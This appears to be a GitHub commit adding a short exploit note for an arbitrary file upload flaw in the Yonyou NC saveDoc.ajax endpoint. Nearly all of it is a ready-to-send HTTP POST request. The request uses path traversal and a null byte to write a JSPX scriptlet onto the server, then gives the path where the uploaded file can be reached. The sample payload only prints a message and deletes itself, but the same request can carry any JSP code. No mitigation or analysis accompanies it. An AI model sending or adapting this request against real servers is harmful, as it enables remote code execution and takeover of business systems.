Create 用友NC-saveDoc.ajax存在任意文件上传漏洞.md

This commit is contained in:
wy876 2024-03-12 18:42:09 +08:00 committed by GitHub
parent 5c3996ebe8
commit 6c71462dbe
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,22 @@
## 用友NC-saveDoc.ajax存在任意文件上传漏洞
## poc
```
POST /uapws/saveDoc.ajax?ws=/../../test2.jspx%00 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
content=<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.*,java.io.*,java.net.*"/>
<hi:scriptlet>
out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete();
</hi:scriptlet>
</hi>
```
文件路径
```
http://ip/uapws/test2.jspx
```